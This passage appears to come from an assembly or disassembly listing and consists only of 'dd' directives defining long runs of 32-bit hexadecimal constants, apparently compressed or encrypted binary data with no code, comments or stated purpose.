		dd 0E73D2C2Eh, 9F2090h,	6E554110h, 67657203h, 74736900h
		dd 641A0EAEh, 0C561E20h, 16E00055h, 0F4A258ACh,	37297700h
		dd 0F502DE59h, 74255CF7h, 0AAEF7207h, 1FE49005h, 20F5FF9Eh
		dd 2A00016Fh, 7A3EB60Fh, 3D9112D2h, 0F3BB22h, 7E5CC369h
		dd 4F9AAEA4h, 0A08EF500h, 8561539h, 6A7A3975h, 0FC3B7C07h
		dd 8D63E001h, 2A01ED84h, 0D7882B23h, 90FD2556h,	1D755020h
		dd 80B8FC4Eh, 45C4DD7Bh, 1B00C9A1h, 0D8B2A57Eh,	12A3EB69h
		dd 75C2149h, 13B7DABFh,	6BB043F2h, 0D025D6B1h, 99F66Ah
		dd 6F948221h, 0B2007FC6h, 43454017h, 67B84Fh, 0D28A7444h
		dd 26F9A71Fh, 0C9849007h, 0E63086FEh, 435381h, 0DC2E2DC0h
		dd 0BC391509h, 61FB8803h, 0FDA53E7Ch, 0FB000FAh, 5B1C69A6h
		dd 5FE30E00h, 68AB02FEh, 41C41688h, 0C160044h, 43B055ECh
		dd 6A754D0Fh, 4BAFA0CCh, 2CA9677Ch, 1CDBC91h, 17830998h
		dd 0D93FEDE9h, 0E33C9E75h, 0FC3BF20Fh, 0B6D79D40h, 0CD9608h
		dd 0B732F52Dh, 4827BDF8h, 31F01000h, 12C8305Ch,	63BB0780h
		dd 7021250Dh, 3485A87Ch, 181833Fh, 8919ACE3h, 0BEC1A06h
		dd 0D5070025h, 96773842h, 5000F880h, 0D2940C6Ah, 920469h
		dd 8CFB2C8Dh, 70343E46h, 9F98153Dh, 94403D66h, 78C88B48h
		dd 2C2C779Dh, 72276BAh,	0F0168C52h, 287A8F89h, 6A9D8200h
		dd 2ACA0B69h, 0BE150088h, 0EB190F31h, 23014B35h, 0D366B1DAh
		dd 0F4607529h, 8E0400E9h, 0A578084Dh, 900780CEh, 6BD8A181h
		dd 99FD40BEh, 1A13BBh, 840D8993h, 2F2142D7h, 0E223A300h
		dd 58093526h, 0A78B002Bh, 28C31325h, 0D4001403h, 866E1760h
		dd 387718F4h, 0D200534Ch, 0C2F8A2FEh, 2500BAA8h, 97D9282h
		dd 0EC434170h, 0E2AB004Ch, 909B3C89h, 0D301A4BEh, 6316C426h
		dd 7820215Ah, 28500A93h, 0C3479Ch, 3D3E657Ch, 89002039h
		dd 3CFCA8B5h, 0FF8A124h, 0A184F26h, 28104580h, 520FE3D1h
		dd 0C063C6B9h, 759EC1ACh, 0B07A0085h, 0E81FC56Ah, 2F00B4CFh
		dd 5FA728E5h, 1D4CA566h, 80820AFCh, 0B3AD06C7h,	10009018h
		dd 0C9088801h, 531F99h,	4548210Eh, 0DE1CA3Fh, 0DB0EF4EAh
		dd 20DF7606h, 3D194AFEh, 3166000Ah, 0F9084236h,	0C224D475h
		dd 0A5036793h, 81FAE9FBh, 69E88A10h, 8971004Ah,	0EBC75642h
		dd 0D31EAEFFh, 3285F643h, 6780090Dh, 0ECE070h, 0C6EE2674h
		dd 0A598BCC4h, 411A221Ch, 9F0DCE07h, 1146D290h,	300900EBh
		dd 3DA99021h, 583D8A89h, 0BA98002Dh, 4340BC84h,	0AB21031Ah
		dd 31AF63B2h, 53572DE8h, 895B3400h, 0E46EA810h,	58020041h
		dd 84975E9h, 20F29501h,	0F5903126h, 0B186DD00h,	41DD873h
		dd 0F97FE809h, 9C03EA01h, 0A8FF1B16h, 395123B5h, 0CF80170Ch
		dd 0A27ECA87h, 8A00052Dh, 2402339Eh, 0E9BB58h, 6034D68Eh
		dd 0C6F90FC2h, 57002EE5h, 0B27BF173h, 164C00B6h, 0E9AD922h
		dd 8858D1F0h, 789C004Ah, 97A8085h, 0B84900BAh, 0A06455D0h
		dd 36009326h, 0AD0596BCh, 2301Eh, 2B408A65h, 8068828h
		dd 73804800h, 146CA9Eh,	7D90000Ch, 7E6402C8h, 19000332h
		dd 1BD60D7Fh, 531ECh, 786252A1h, 0C78B5420h, 0C4FBA00h
		dd 0CA3EA328h, 0EE050022h, 85440716h, 0B4EC017Eh, 0A3029F00h
		dd 462AC0Ch, 0D256CE11h, 818809Dh, 15054084h, 10A890Bh
		dd 0D6BB00EBh, 720C1F14h, 3C187772h, 45AEAEE6h,	64DC00E9h
		dd 0AB2FE16Ah, 0C1382C00h, 19CBC95Bh, 0A67950h,	9D441DB2h
		dd 2447058Ah, 3D873A03h, 900CA856h, 8D1F8Eh, 5F423EF9h
		dd 0DEB0A3E8h, 1453255Ch, 84BF80h, 680A0BF6h, 38DDC9D8h
		dd 0FA5FBAh, 33B9960Eh,	40214F88h, 30974C00h, 4B7242EAh
		dd 75010341h, 0CD73F6FEh, 43D05F9Bh, 87003B30h,	74510F46h
		dd 3112C609h, 26E83720h, 0DBF9F4F2h, 7C1A2100h,	117B0E32h
		dd 2C9400B3h, 0F8920B10h, 120F64F5h, 0C0B2577Eh, 6FFCC8CDh
		dd 0F99C24ECh, 0C4BC000Bh, 0F3353437h, 0E01C48h, 0D5FEDB2Dh
		dd 0D91745h, 86F48832h,	96E4697Fh, 84D3BD07h, 68E2D749h
		dd 27B4C02Ch, 0CAA700C2h, 5BC9A9F1h, 5D011755h,	0AEE712BBh
		dd 5EE465F0h, 18BEA43h,	2BF46E4Dh, 0D8C4D76Bh, 2518DD9Dh
		dd 0A18A3BDFh, 600C5C55h, 0C2F17500h, 0EB6F13D4h, 701B0802h
		dd 40501E2Ah, 0C93B59h,	278685DCh, 0A0BD0675h, 47048E00h
		dd 0AE524B7Ah, 90DE00E6h, 67F48BCAh, 0F50369EAh, 7D955C96h
		dd 3A578012h, 745500F2h, 2CF4E42Fh, 0CB0053B0h,	0DCF38BC3h
		dd 0DDCA79h, 89068A42h,	0C9AEC6CCh, 65EC7200h, 296FE41Fh
		dd 38ECE9h, 0D6AA2E02h,	0ED835E12h, 0FC663Bh, 0C2980EACh
		dd 391A0BBh, 8D488A4Dh,	21F9100Fh, 1A4F70ADh, 84584400h
		dd 52B63CCCh, 0E3F250h,	0D688B840h, 0FE2518F8h,	9A745Ch
		dd 0AEAB3E8Dh, 146746A6h, 0CDCFAF19h, 0AEB6000h, 4D4EFF43h
		dd 77A0F000h, 713B56BDh, 0BC450FB7h, 877CA3EEh,	109E5E8Ah
		dd 5DE02F3Ch, 93E49400h, 0CD05780Dh, 0D144008Fh, 0BDCEE830h
		dd 0A5020142h, 29AB1F82h, 2D2B4014h, 1EDCE625h,	87E46234h
		dd 0E092188Dh, 23223BE0h, 75637307h, 0E4C42E6Eh, 352CCEC0h
		dd 0F74B05Bh, 5A7F244Fh, 75823A21h, 594AC842h, 457B2773h
		dd 34517800h, 0EFE04E96h, 0E8261F25h, 58EC0FBAh, 98A71001h
		dd 0E092EC7Bh, 0A124D00h, 0FBF3CCB4h, 0E8F024h,	3941EA11h
		dd 8CD0CA1h, 5797EC02h,	6145BD32h, 33F8E366h, 0AAD2005Ch
		dd 692DAA5h, 0F213ABF0h, 4074A36h, 0CE501FBFh, 4BC4CFh
		dd 949288BBh, 702BE444h, 0B895D500h, 85CDF5E8h,	6B610026h
		dd 0C35E74FAh, 200752EEh, 6378E3AEh, 5538BA40h,	7AC7008Fh
		dd 4A5893BDh, 8B120E4Ch, 0EB052047h, 8F00FB83h,	8A5ED075h
		dd 4C7DBAh, 0DE03E841h,	6461CCC2h, 834E0B3Dh, 54A6321h
		dd 5E5CA808h, 94240942h, 0D500B2FDh, 4ACE2B4Dh,	8726CD1Dh
		dd 0AB551280h, 880CF3h,	6256DAFCh, 4460E45Ah, 38500900h
		dd 77877361h, 6472076Fh, 40C55569h, 0A7F14B92h,	0A45EC200h
		dd 11614E70h, 73653F6Dh, 10A3FA00h, 0A6B4E4C9h,	9279105h
		dd 0D80CFB6h, 1830824h,	120A2C0Eh, 0D0EFE69Ch, 791E0448h
		dd 7E00DC5Ah, 34685715h, 41D40933h, 0FF000B21h,	0B931F344h
		dd 0BA1F23F4h, 8207B0E4h, 0E0E06DE8h, 0FBA414h,	8E399726h
		dd 0C060E65h, 94620F00h, 0D293485Ch, 88A118E2h,	0BF4E4E13h
		dd 0C400B6E2h, 24B3B52h, 5EED15h, 0D1F5FFFEh, 96406BEAh
		dd 0B9507C03h, 0C0D4AFD5h, 1FC02044h, 0C07D1C7Fh, 0E46F9590h
		dd 120EC9B5h, 84A58B79h, 9980571Ah, 75F471D6h, 1E4A004Dh
		dd 26B72423h, 600B2EBh,	0E851BB6Ah, 30CFBD62h, 88BAE011h
		dd 0B1F4FAECh, 0A8D3F700h, 56781069h, 6C140F61h, 0C8056575h
		dd 9E6C007h, 2E0774ACh,	0E3FE129Ch, 0E0560FC9h,	0D048CAA1h
		dd 7CE7007Ah, 1C2F43C0h, 0AB3CD750h, 8BAF807Eh,	5E6CBE5Fh
		dd 2AE30094h, 0BAB72111h, 0A44873A7h, 8B4700B7h, 0C2897443h
		dd 553C1D7Ch, 40339CD8h, 5EEC78F6h, 5701B128h, 8825D659h
		dd 0EBCC22BDh, 51E803h,	83F8F455h, 46285B7Bh, 0A696FA00h
		dd 0EC2AF747h, 0CAF462h, 0C4B59A4Dh, 33AE3FC2h,	171B070Fh
		dd 22612043h, 0A091BB0Eh, 3D0D1DEh, 216BE810h, 17A101C3h
		dd 2CDEE4C5h, 7AC4FF00h, 0B915E9ABh, 0D12700BAh, 8B60FB16h
		dd 0E802C63Bh, 79A9BD13h
		dd 516B4010h, 56D800D1h, 12C89224h, 0B3000275h,	0D23A8A38h
		dd 0F3AA66h, 80A5B4E3h,	5B2AA771h, 60CA5400h, 0E8048262h
		dd 0E163009Bh, 0D41C4D42h, 0D2B019D3h, 0BF0E9FFAh, 602FA1D7h
		dd 79437732h, 311700B3h, 3F330B39h, 5B001EC1h, 122F082Dh
		dd 3AB2BAEEh, 0B3009230h, 0C2C353A5h, 4100D222h, 0E43651F7h
		dd 3DB4D9F8h, 0C00047E5h, 0FB2A1C70h, 2C004B06h, 0A9F7846h
		dd 12110Eh, 0DA8E77D3h,	915DAFECh, 8D000BE2h, 75188963h
		dd 1F7338h, 0D7D04E43h,	3BD229B1h, 5F5D2D00h, 0B2177CEFh
		dd 72F90007h, 0DE559003h, 0A400F6ACh, 0C4A342A1h, 3F864B8Dh
		dd 0CC804D51h, 26ED8F56h, 22F23616h, 4CE67301h,	0B86932Dh
		dd 0E2E091EDh, 55D200AAh, 9072967Bh, 800E87Ch, 1B351924h
		dd 1458ABBh, 0A485F220h, 0D7B4DAE1h, 26D3EAF8h,	44ED800h
		dd 215CA294h, 79F4B8h, 0AB03C3Bh, 0D430BEBh, 0A97F5271h
		dd 9FD40400h, 20DF12E8h, 0E17500E0h, 2D46588Dh,	14001552h
		dd 1018FC4Dh, 86DECBh, 0F66C2474h, 1E0917DFh, 8DEA4000h
		dd 7CB0F007h, 49161262h, 3E0F01BAh, 0C42A7AF7h,	0AE012CEBh
		dd 0F0563CACh, 33605516h, 348A3F11h, 0B45F5A80h, 0D3BF2508h
		dd 3AC3373Bh, 0E84080F1h, 0B8654CB6h, 917CA1h, 0D4717C9h
		dd 2FA68ADBh, 4A34CF1Dh, 405DB800h, 4D829A9h, 923CF0F4h
		dd 0E4ECC00Eh, 14EA1201h, 5FF8A205h, 4AC01E76h,	7973F64h
		dd 4C5A5494h, 3321D22Fh, 242990C0h, 220BA50Fh, 78D7214Eh
		dd 9E30539Ch, 0E09B0088h, 3642C67Ah, 16000108h,	6783974Ah
		dd 7258AB9h, 7C795927h,	817874EBh, 8003D0B3h, 0A0850AAEh
		dd 1B8317Eh, 18D86CA9h,	0D0148C1Ah, 1007F869h, 35563A84h
		dd 407A2160h, 4011DA6h,	75494346h, 97C0EAD4h, 2000680Ah
		dd 92D279D5h, 0B8898F3h, 6F4E8415h, 0F2CC8701h,	8FF9F36Dh
		dd 0E766C8F5h, 0C4000FB8h, 10E2AB21h, 1CD5D09Fh, 3FA150E1h
		dd 5EB80079h, 8B17C024h, 0F10E9415h, 0EF68643Bh, 0D57640A2h
		dd 0C6F2B3h, 0BF5E2D83h, 6870849Eh, 79104900h, 5AA1E078h
		dd 0FFC80E20h, 0D0600B2Ch, 98CB0389h, 80302703h, 0A9C22EABh
		dd 5E01A99h, 0BF82425h,	0DFC800E0h, 8DC69CB8h, 0F0388000h
		dd 1B10217h, 9CF00BCh, 32C18BF5h, 4601578Ch, 6A3DEC0Bh
		dd 0EF433F70h, 6C35F877h, 213773Bh, 0EB0D6430h,	75438D63h
		dd 8309F0CFh, 973C02E9h, 441D00D9h, 0D8F8FA12h,	76F4005Eh
		dd 98609DF9h, 0EE006646h, 0B70F030Eh, 1EBC1D9h,	1E83CB0Ch
		dd 0D102743Eh, 0E181FC2Fh, 70FFF3Dh, 4CB0C926h,	77C13B10h
		dd 8D1F000Eh, 0CBEE021Ch, 570018E9h, 8B0AA010h,	7621D50h
		dd 0EB191401h, 298FA008h, 25B9258h, 0EBA8A00h, 0DB851Eh
		dd 0A85997C4h, 9ACD47Ch, 0C5CFE801h, 29A326AAh,	50FE7D30h
		dd 0EA8DFFCh, 0CC37EA2h, 1127AC40h, 0FD00ECB9h,	8A48F15Bh
		dd 0A16BDCh, 0B88008F4h, 1005326Ah, 0D20CA400h,	0B0840F20h
		dd 691B019Eh, 0D405E82h, 0D7503070h, 6B022900h,	83981118h
		dd 0C780180h, 0DA851A3Ch, 600560F6h, 5CE2D598h,	69DECA1Eh
		dd 203FC00h, 0EC75F40h,	134B1AC9h, 89044220h, 0A0247EC5h
		dd 140022D8h, 1C50108Ch, 0A16000ADh, 6212B50Ch,	67F83797h
		dd 4CFBDE09h, 2FAC808Dh, 2833107h, 71FF0E36h, 2A4042AEh
		dd 0B0005B68h, 0B71A9201h, 0CA8C51h, 2DD344A8h,	84CC4C30h
		dd 0B8283801h, 31FD95F7h, 5E5CB4CCh, 60A5800Ah,	6400CBA4h
		dd 0E2D7DA11h, 0F6981ACCh, 87D83D09h, 3657D083h, 0A7C34A72h
		dd 38005E79h, 1517308Eh, 0E202C01h, 4A046A10h, 0DEFEF0EFh
		dd 24483ACh, 0D1D7422Dh, 0D1191030h, 9C8C428h, 2A912C00h
		dd 4C183A65h, 0B84CB814h, 40E009Bh, 0E40A0156h,	31EE0DFh
		dd 0E1C07E5Dh, 83E6DDDCh, 0DEE300E2h, 166FE5EBh, 0BD005F1Fh
		dd 4F19136Dh, 1D559B30h, 7C210D53h, 84855783h, 0C0A5B6E9h
		dd 0AA5DAE52h, 990E8772h, 0DFA5FE36h, 0A7797380h, 1BA5272h
		dd 5345BB30h, 0CC9915FDh, 2203B5E7h, 56487F07h,	3C2EB80Fh
		dd 0C67CD4h, 4A66F652h,	0D19DA37h, 8A81AA1Fh, 33E4300h
		dd 75A5CF56h, 45D41F6Ah, 0E56D8095h, 4EF7A9FDh,	0C9132600h
		dd 0EB34863Fh, 0ED8E03CAh, 872D8455h, 76A95F0h,	0CA98105h
		dd 0CC30524h, 9301D043h, 4CDC007Eh, 0E7ECB0D0h,	0AF0019E8h
		dd 0EA25D9A3h, 1FABE6D1h, 40593CCDh, 48CFB1FDh,	94F6896Ch
		dd 3863F67h, 0EDB230D0h, 378800E9h, 0DC38E5B1h,	64009CDAh
		dd 80824E62h, 2EF2Ch, 0F7F61DF2h, 0EBF0C7EAh, 31AF303h
		dd 0F0C4EDE7h, 0F81E8C77h, 0E8F10709h, 2005B96Dh, 74A59AE4h
		dd 1722F700h, 3AAE5ECh,	4CF5004Ah, 0ED85C7EFh, 0BE0013EBh
		dd 0A1A288BCh, 0F164A3h, 900E9102h, 7E7C8F83h, 5C893Eh
		dd 706D98C7h, 697450h, 6E6B4C07h, 4BA76A49h, 0DF13CD01h
		dd 5568C3FFh, 1E5171D4h, 0C0E7696Ch, 0A05F52C7h, 91008E7Fh
		dd 0EF26EBEAh, 717C3E6h, 575637E4h, 1BE360DCh, 7824481Ch
		dd 0AB0003E2h, 22616D87h, 98A480h, 0CED2B332h, 0E564668Bh
		dd 1A3023Eh, 3BA7A9A6h,	0A8C8A407h, 1B1A0005h, 0B555410h
		dd 58033956h, 6599E09h,	5707E03Bh, 546E007Eh, 3F0C6F1Eh
		dd 0F001373h, 5323D3E7h, 704027C8h, 84800042h, 0E8E6EB89h
		dd 6700AF7Ah, 2CE49DE5h, 0B0E3DEEEh, 14AB0082h,	0F3C5D284h
		dd 0C000EFA4h, 9CB4B7E9h, 3B389871h, 0BB00AEB0h, 363540B9h
		dd 52004F34h, 5C550150h, 9A9559h, 4EE8239Bh, 0EAEF0277h
		dd 0F1F65B02h, 0E083415Dh, 1DB7A96h, 5A0DAC9Fh,	0F05706CFh
		dd 0F10352F5h, 0F7D86E9Bh, 0D11CE084h, 408A0066h, 0A92E2A1Fh
		dd 300A8A6h, 0DFEEEBF2h, 4ADAD9h, 846754B5h, 52877AA7h
		dd 3E009776h, 5BDCDB9Ah, 0C0D3054Ch, 68FD7C68h,	0A570AA04h
		dd 6A6EA600h, 87898869h, 0AC7B00A7h, 9C938B38h,	40004B17h
		dd 34E0E75Bh, 9F0757E9h, 0E53BDC80h, 1003CA5h, 0EBB6BCEDh
		dd 26EEC38h, 7B379802h,	7EE01C2Bh, 770040F0h, 885CD4D3h
		dd 1F0A87h, 0B1983330h,	0E1EEF30Fh, 0B280E900h,	5FA3A4E6h
		dd 84E70114h, 0D997CAFh, 480D2049h, 77793E07h, 710076E2h
		dd 0A3A972h, 5C5B61A4h,	0B1B0B607h, 16969800h, 1A0C068Eh
		dd 70490148h, 0E5195244h, 55BD70E1h, 53BD3000h,	0B15106CAh
		dd 0E4B8003Fh, 76F748BFh, 5B1CFE3Eh, 70004498h,	8D58CCCDh
		dd 321B008Ah, 9F9A3409h, 0B91285A0h, 5C0354EDh,	0C8738495h
		dd 45CA52h, 0EC438B51h,	5978CEAh, 13B72700h, 0A788BEC0h
		dd 1A405A2h, 0C0363439h, 8F5441B3h, 87A198A0h, 0B0471B00h
		dd 5CDCDF78h, 60060FCCh, 76E05E66h, 5BFA5D7Ch, 0B300DD7Bh
		dd 0DEF953AAh, 0E8D746h, 1FE9EC5Fh, 5D1A40Ch, 19898C00h
		dd 0A1998407h, 80F10014h, 0B287E808h, 500EA48h,	0B18EE9C3h
		dd 842A9Dh, 57805292h, 877D678Fh, 3A1BD93Eh, 609A9615h
		dd 0A9D6B003h, 67668062h, 7D7E0079h, 3979892h, 93009185h
		dd 0D6494A1Eh, 5E4C52h,	72F76EEDh, 3F59050Fh, 0F6581900h
		dd 55BC425Dh, 45841C86h, 0EB5F0018h, 0CDD173EAh, 38B5400h
		dd 34331788h, 8A9A0792h, 0E0848CEFh, 0E5C90E3h,	0B311E800h
		dd 824B2EBh, 26653A89h,	7D5E400h, 0CA4C50CEh, 0F8E63B00h
		dd 0B26E7038h, 9D020052h, 0A6A25340h, 0EB00A703h, 0A39BF0F1h
		dd 4C998CC1h, 24074BD4h, 60B17E47h, 5CDFCD61h, 37CF9000h
		dd 9EFC5B4Eh, 6312177Fh
		dd 4AFA0019h, 0EE90FFD7h, 0D075EB02h, 8056CD28h, 60DC08A3h
		dd 17EC0352h, 8926748Ch, 9FF04A8Bh, 4400D221h, 0DDE0EF05h
		dd 3DEBE2DBh, 7D80E903h, 20CAA9ABh, 5C3AB902h, 3C0683A4h
		dd 0D7813B39h, 38D39Ah,	1D868477h, 77A4849h, 62D9DE15h
		dd 79E18E87h, 0E5EB63ECh, 69DCD465h, 18EAA300h,	0CE14C1Fh
		dd 50802E8h, 5DCCD04Dh,	9EDCAB8Fh, 0EA1000BFh, 0CFAAEDECh
		dd 0AC7EA1E8h, 7FE54F1Dh, 5D0A4D40h, 6D6050h, 0CAB952E8h
		dd 0C063C671h, 0ABAD0200h, 0A09EA388h, 686D0016h, 0C6A5476Ah
		dd 6C5B13C8h, 0C4388680h, 0E5708Ah, 0DCE065E2h,	54DDDF58h
		dd 4AF0D200h, 24D55A89h, 50BE008Ch, 0DCC94990h,	0C2000167h
		dd 0FCD1D282h, 28687h, 9634311Eh, 84A59C9Bh, 154E01Bh
		dd 0C7E880C6h, 0DAE128B7h, 0FEFD00ADh, 0A22F3129h, 0A8030290h
		dd 5086881Ch, 0D7D5A8D2h, 0D3D1004Eh, 0C4C3C120h, 73E06F56h
		dd 0F893258h, 0C0FBE872h, 99CEB58h, 40E700EAh, 0BA593303h
		dd 0F97B3CBBh, 0E9F31102h, 0C0FEE23Eh, 7FF224h,	6301CECCh
		dd 33228A8Bh, 219B3600h, 0F10F3008h, 2DF0464h, 805216E3h
		dd 876A8FA4h, 8C93F600h, 0AD5F734h, 4EE3031Ch, 0E83BB3B5h
		dd 0B40A9EAh, 0D20038C0h, 0DAD58ED4h, 0E0FA3CD8h, 0E5E300E6h
		dd 1EC6C2B7h, 510B4D01h, 0D496923Bh, 0CC5F003Fh, 0F90660FAh
		dd 0FD64F802h, 407F13FCh, 0F67111h, 0E69472FFh,	0D8D50E90h
		dd 22876100h, 0A9302D1Eh, 40FE284h, 9A0596EEh, 29C280E4h
		dd 800E548h, 27344BAFh,	73B00298h, 66810FD5h, 0B800AAFDh
		dd 0BEE80D88h, 8CBF9000h, 95702B31h, 0B67E03F6h, 0CBC9CC16h
		dd 7A5A280h, 6F2A2500h,	76B3AF0Fh, 77A100C8h, 0DB78C6C7h
		dd 0F21207A6h, 51C3EC3h, 0B374CA00h, 9961B7h, 8E660A9Ah
		dd 12841C8Dh, 8C029700h, 6EEFEDEEh, 0CD21E10h, 9436802Dh
		dd 0D31B9DF5h, 0AFB1A900h, 152CEC5h, 0AB041CCBh, 0E5790F17h
		dd 0B2C8C763h, 43B7B880h, 0AD464800h, 0F307A8A9h, 0AAEC00EBh
		dd 1E1860A3h, 2013C23h,	7B4B5F5Ah, 22F0427Dh, 1701639h
		dd 7475006Dh, 0C0737543h, 90024F8h, 4D47451Ch, 356BE83h
		dd 3926A082h, 0A4A8163Ch, 0AA3009A5h, 28B5B0ECh, 3BF70EACh
		dd 55E020BDh, 9FA1B147h, 0C5E71626h, 82D3BC00h,	6058924Ah
		dd 0AA7DB07Bh, 29002B26h, 8A038F88h, 323335h, 0B389B4B6h
		dd 1206D4B2h, 8016703Fh, 78421D19h, 1E903479h, 407A2C76h
		dd 8D7D2D73h, 81C833Bh,	98CEC360h, 51180407h, 7C7EADC0h
		dd 5CB2789Dh, 9A018EB4h, 0EDAEE1DFh, 0AC8BE4D2h, 0B3E5E402h
		dd 60A7B741h, 48496903h, 7FC0C3h, 0E2068D32h, 24C030C2h
		dd 352C509h, 0E75E57h, 20F6339h, 47FEBDB4h, 7757438h, 2F0C2725h
		dd 0B68F3200h, 0AE7900B8h, 0B20E70ABh, 0B42867ADh, 8C008561h
		dd 6BAF885h, 0E0B0FB0h,	0A0777648h, 0ECDD5400h,	9400DBEEh
		dd 92C5697Ch, 1FB8429h,	9A031852h, 0E06272FDh, 0A700A9F8h
		dd 0CD9434E3h, 608990h,	4C4E022Eh, 8416874Bh, 71E47F24h
		dd 0C005E800h, 9073150h, 43696063h, 6F169480h, 0C8FD2A6Ch
		dd 47074425h, 0F54CF0EDh, 0CE80F60h, 0EC7E0C4h,	9C67EFF2h
		dd 0B17B9900h, 320007B2h, 0A90E9435h, 0F5EDAAh,	0CC4A43Ah
		dd 0DDD5E654h, 7C28EF01h, 6B1ACAD6h, 1F9220h, 0F6CD2ABEh
		dd 0E805035Bh, 0D8BD6C01h, 13D50684h, 1CAAC8h, 535580CEh
		dd 82878A52h, 8F9B713Dh, 6E6C6A95h, 318500ACh, 70423A30h
		dd 4C6D0068h, 9824BBC3h, 7C051691h, 0E8F00A37h,	30D19980h
		dd 0C8E2019Ah, 70E624E7h, 0AB75C0C3h, 3108AC00h, 0F2957833h
		dd 0EA5800F0h, 0BBB10DB2h, 9600E5E6h, 83CEE738h, 8E794Ah
		dd 59AD776Ch, 3402259Ch, 0EAEFF00h, 0B2B4D5D7h,	0C1C30027h
		dd 0F1C0CA14h, 0BC7FBDBFh, 787A7901h, 0BADE5C76h, 0E0EDB830h
		dd 0AB800238h, 0BCC64CAEh, 858000FFh, 3F3C0Fh, 6CF146EAh
		dd 0EBC2E763h, 0A597C400h, 7AA90965h, 0A290F80h, 71603132h
		dd 9BF25CA1h, 497E5200h, 10CA9389h, 3F79005Fh, 4DADF86Ch
		dd 3803F72Ah, 0DEADC6Ah, 91CDB086h, 71030B4Ch, 378E7765h
		dd 0ADAEDB00h, 491D47AFh, 0E404A5Ch, 20C7A58Ch,	0ABB3004Ch
		dd 0C926D25Fh, 2007C0Dh, 0C4847F57h, 5F08D43h, 717DD6D1h
		dd 0BFCE00B1h, 0B8BA88BEh, 12B0B00h, 0A2A19C2Ah, 0EFEE07F4h
		dd 3031FF49h, 6A4875Dh,	5E5B8C01h, 2B7929CDh, 5204C4h
		dd 3B1A4E15h, 68A2CA0Dh, 0ECEE1F07h, 0C1028E3h,	3494544h
		dd 40264107h, 81800342h, 0F21CEFF8h, 0E900E7DAh, 64BB96B3h
		dd 6ABC0BC3h, 0FFD438h,	260E5863h, 30E627h, 90914B20h
		dd 0CC01D093h, 4547220Bh, 85DE0075h, 1C03E40h, 544AB5E3h
		dd 70718B81h, 7E24589Ah, 0C705C6E5h, 0E080A21Bh, 1AD15CFh
		dd 56BAD214h, 0C0251F9Bh, 8F00E819h, 0E93BECC4h, 9314EDh
		dd 2C7BDCC0h, 0B86EB79Ch, 0E5C58000h, 0BBBD7CE4h, 0B41D0053h
		dd 0B98E4FB0h, 0CE00DD52h, 6720C26Ch, 8AAABh, 71370539h
		dd 0C6E68789h, 916C9600h, 0A46DA680h, 8E260708h, 709551C9h
		dd 6C90FA74h, 4ACBD00Fh, 9256A0CCh, 0A80B64h, 0A397D75Fh
		dd 0BF079BEFh, 0AF80B900h, 0DFE6BD17h, 0FE3903B2h, 0CFCCCED8h
		dd 0C59CC0A8h, 0B378C800h, 0A05509B5h, 75700A2h, 9DD16EAAh
		dd 0C500A68Eh, 388A30E0h, 70BB4Ch, 0E4896292h, 0A6DEA9Ah
		dd 0AD942D0Bh, 0E9610093h, 1C8BF6Ah, 20B9C2C1h,	0ECF12473h
		dd 0EB003CDBh, 0FFE2CC42h, 8EE8E4h, 70EABE35h, 81576689h
		dd 0F6FD6F01h, 4CDBA90Ch, 0EDF270h, 0A62280C4h,	0D4A7D9D5h
		dd 9300D77Fh, 24CAF5E8h, 0E9E53Eh, 44DB23Dh, 0BDC8127Fh
		dd 0ACB7E700h, 73B4DF69h, 44940097h, 0F5E9EE02h, 0C20EC3A0h
		dd 605A60F9h, 0E1DE7078h, 0CD6201B6h, 990349C8h, 0D80EE819h
		dd 0D62E9400h, 6D537F5h, 9F280198h, 934FAFF9h, 483FE81Bh
		dd 96666900h, 287AC9Ah,	0E7E612EBh, 0CAA8C7h, 0FB0D6D84h
		dd 0F081F153h, 0DCEC0263h, 57A31A73h, 0BDB86460h, 80EB503Fh
		dd 0B62298E9h, 1D63F2Fh, 7B74A548h, 0F80910CBh,	2900C0F6h
		dd 7604D18Ch, 34DFBh, 8623642Ah, 22BCE4EFh, 5BFD5300h
		dd 0A2B51E1Bh, 0ACAD0E24h, 7C6C48h, 4AC5CAF8h, 7F3ACBC6h
		dd 629100A6h, 0A5711269h, 57B001F3h, 30D436F9h,	0F4ED407Eh
		dd 0F700DBE7h, 2BB56DC8h, 4BDF6Ah, 0B16C1266h, 0FDE8609Ch
		dd 29D8C000h, 7484D2D1h, 3D300D5h, 4490255Ah, 0BE003181h
		dd 0FA082912h, 4568493h, 0A2522107h, 0A3B68053h, 923D489Fh
		dd 8107FFB5h, 52E928C1h, 14DF960h, 127CA9h, 72BEB58Eh
		dd 5A540E35h, 30755FEh,	2AAB2149h, 1AC0D374h, 39D4D8Fh
		dd 1D9F19A6h, 99F86B2Ch, 0D00952Dh, 74266659h, 1DCBBD9h
		dd 0D52AC4FAh, 0C876A537h, 8100CA7Eh, 0CB027BC9h, 799F29h
		dd 72A1D48Fh, 120356E2h, 2D84A700h, 81AB9C1Eh, 0FA78EFh
		dd 0EA14975Eh, 27D0DD2h, 65BF7600h, 10ACFE13h, 24053CA2h
		dd 0F0A83500h, 26D601F2h, 4140C400h, 10C008C6h,	0E32009Ch
		dd 1805161Ch, 0AC1F2B01h, 0A7C2A24Ah, 61064D27h, 61E0CE1Ch
		dd 0A6E1C0Eh, 98B38073h, 82698372h, 5CD66600h, 0E0800770h
		dd 36EA50h, 0DD8D0CEh, 74563C1Dh, 4565220Eh, 2C5BA061h
		dd 7883868h, 1964366Fh,	91503014h, 77004C73h, 29CA7225h
		dd 7359463Ah, 0E6820002h, 0F10A5033h, 1E03832Eh, 4207D181h
		dd 0ACD6F048h
		dd 1B10F52h, 50A9C0A0h,	0B106B80h, 961FDE94h, 248F910Ah
		dd 0E9B6C116h, 50E080C1h, 0EE0FEAD4h, 0D0530332h, 8C63DDF5h
		dd 0E0D965E0h, 820059ECh, 274D6404h, 0FCC0ABh, 1E984034h
		dd 4BFDA330h, 74BFA100h, 0E045EEA4h, 0B81C00BEh, 36157B70h
		dd 9003289h, 7AE6E84Eh,	58E0307Eh, 0EB01ED03h, 78A5DBD6h
		dd 0F875ECF9h, 8B04101Dh, 8089298Bh, 28711FA1h,	0EA9D0008h
		dd 0F0877D0Bh, 3B58D241h, 0D75C008Dh, 0ADD97327h, 8278487Ch
		dd 0C8D04F00h, 0B6BC050Bh, 0B7FE4300h, 4E62F8AFh, 95FF0010h
		dd 150DFB25h, 6F001B04h, 0F1DF970Bh, 0DE3D4Bh, 0B8D462C9h
		dd 0A0779DA6h, 5018F600h, 9F51E856h, 0FEA3E2C0h, 836F00C5h
